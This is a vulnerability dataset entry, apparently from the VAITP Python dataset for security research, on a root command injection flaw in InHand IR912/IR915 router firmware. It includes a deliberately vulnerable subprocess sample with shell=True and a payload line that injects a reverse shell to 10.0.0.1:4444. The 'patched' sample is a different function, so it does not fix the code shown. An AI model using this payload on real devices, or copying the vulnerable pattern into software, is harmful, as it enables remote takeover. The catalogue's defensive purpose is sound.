VAITP Dataset

← Back to the dataset

CVE-2026-38714

Remote command injection in InHand IR912/IR915 allows root access.

  • CVSS 9.8
  • CWE-77
  • Input Validation and Sanitization
  • Remote

InHand Networks IR912 V1.0.0.r20042 and IR915 V1.0.0.r20042 (including earlier versions) were discovered to contain a command injection vulnerability in the Python configuration function. This vulnerability allows remote attackers to execute arbitrary commands as root via a crafted input.

CVSS base score
9.8
Published
2026-06-18
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Python

Solution

Upgrade IR912 and IR915 to firmware version 1.0.0.r20042.8 or later.

Vulnerable code sample

import os
import subprocess

def apply_python_config(settings):
    """
    Applies configuration settings passed from the device's web UI.
    The 'settings' object is a dictionary derived from user input.
    """
    if 'hostname' in settings:
        hostname = settings.get('hostname')
        
        # The user-provided hostname is directly used in a shell command.
        # An attacker can inject commands by adding a semicolon.
        # For example: "my-router; reboot"
        command = 'hostnamectl set-hostname ' + hostname
        subprocess.run(command, shell=True)

Patched code sample

import subprocess
import re

def fixed_update_device_setting(key: str, value: str):
    """
    Safely updates a device setting by validating the input value and using
    subprocess with an argument list to prevent command injection.
    """
    # 1. Validate the input using a whitelist. Here, we only allow a safe
    # subset of characters commonly found in hostnames or IP addresses.
    if not re.match(r'^[a-zA-Z0-9.\-_]+$', value):
        # In a real application, this would log the attempt and return an error.
        return

    # 2. Use subprocess.run() with a list of arguments. The 'value' is passed
    # as a distinct argument and is not interpreted by the shell, which
    # prevents command injection.
    command = ["/usr/sbin/nvram_set", key, value]

    try:
        # The 'check=True' argument will raise an exception if the command
        # returns a non-zero exit code (indicating an error).
        subprocess.run(command, check=True, capture_output=True)
    except (FileNotFoundError, subprocess.CalledProcessError) as e:
        # Handle cases where the command doesn't exist or fails.
        # In a real application, this would be logged.
        pass

Payload

; /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

Cite this entry

@misc{vaitp:cve202638714,
  title        = {{Remote command injection in InHand IR912/IR915 allows root access.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-38714},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-38714/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::